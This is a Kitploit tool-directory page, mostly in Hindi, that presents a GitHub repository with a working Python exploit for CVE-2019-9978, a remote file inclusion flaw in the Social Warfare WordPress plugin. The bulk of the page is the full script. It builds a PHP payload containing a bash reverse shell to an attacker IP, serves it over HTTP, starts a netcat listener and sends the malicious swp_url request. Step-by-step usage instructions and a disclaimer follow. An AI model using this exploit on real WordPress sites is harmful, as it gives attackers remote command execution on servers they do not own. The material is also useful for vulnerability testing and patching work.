Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE — The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution. | Kitploit
उपकरण/GitHubGitHub/housma/cve-2019-9978-social-warfare-wordpress-plugin-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access Tool

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
housma/cve-2019-9978-social-warfare-wordpress-plugin-rce

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.

रिपॉजिटरी देखें
1 साल पहलेअभी तक समीक्षित नहीं

CVE-2019-9978 - सोशल वारफेयर वर्डप्रेस प्लगइन RCE

इस रिपॉजिटरी में CVE-2019-9978 के लिए एक कार्यशील पायथन एक्सप्लॉइट है, जो वर्डप्रेस के सोशल वारफेयर प्लगइन (संस्करण <= 3.5.2) में एक रिमोट कोड एक्सीक्यूशन भेद्यता है।

विवरण

admin-post.php में swp_debug पैरामीटर रिमोट हमलावरों को दुर्भावनापूर्ण PHP कोड वाली बाहरी फ़ाइलों को शामिल करने की अनुमति देता है, जिनका मूल्यांकन सर्वर पर किया जाता है। एक क्राफ्टेड URL प्रदान करके जो एक रिवर्स शेल पेलोड होस्ट करता है, हमलावर कमांड निष्पादन प्राप्त कर सकता है।

एक्सप्लॉइट विशेषताएँ

  • पायथन के बिल्ट-इन HTTP सर्वर का उपयोग करके PHP पेलोड होस्ट करता है।
  • RCE ट्रिगर करने के लिए एक दुर्भावनापूर्ण swp_url पैरामीटर भेजता है।
  • रिवर्स शेल पकड़ने के लिए Netcat लिसनर शुरू करता है।
  • सफल कोड निष्पादन के लिए सही एस्केपिंग के साथ स्वचालित रूप से पेलोड लिखता है।

आवश्यकताएँ

  • Python 3.x
  • Netcat
  • लक्ष्य डोमेन के लिए स्थानीय DNS समाधान (जैसे example.com को लक्ष्य IP पर मैप किया गया)

एक्सप्लॉइट कोड

root@kitploit:~
#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

उपयोग

  1. ATTACKER_IP और LISTEN_PORT को अपनी मशीन के IP और वांछित पोर्ट में अपडेट करें।
  2. सुनिश्चित करें कि लक्ष्य example.com को सही IP पर हल करता है।
  3. स्क्रिप्ट चलाएँ:
root@kitploit:~
python3 exploit.py
  1. अपने लिसनर में रिवर्स शेल पकड़ें।

संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2019-9978
  • https://github.com/hash3liZer/CVE-2019-9978

अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग किसी भी ऐसे सिस्टम पर स्पष्ट अनुमति के बिना न करें जिसके आप मालिक नहीं हैं।

टूल डाउनलोड करें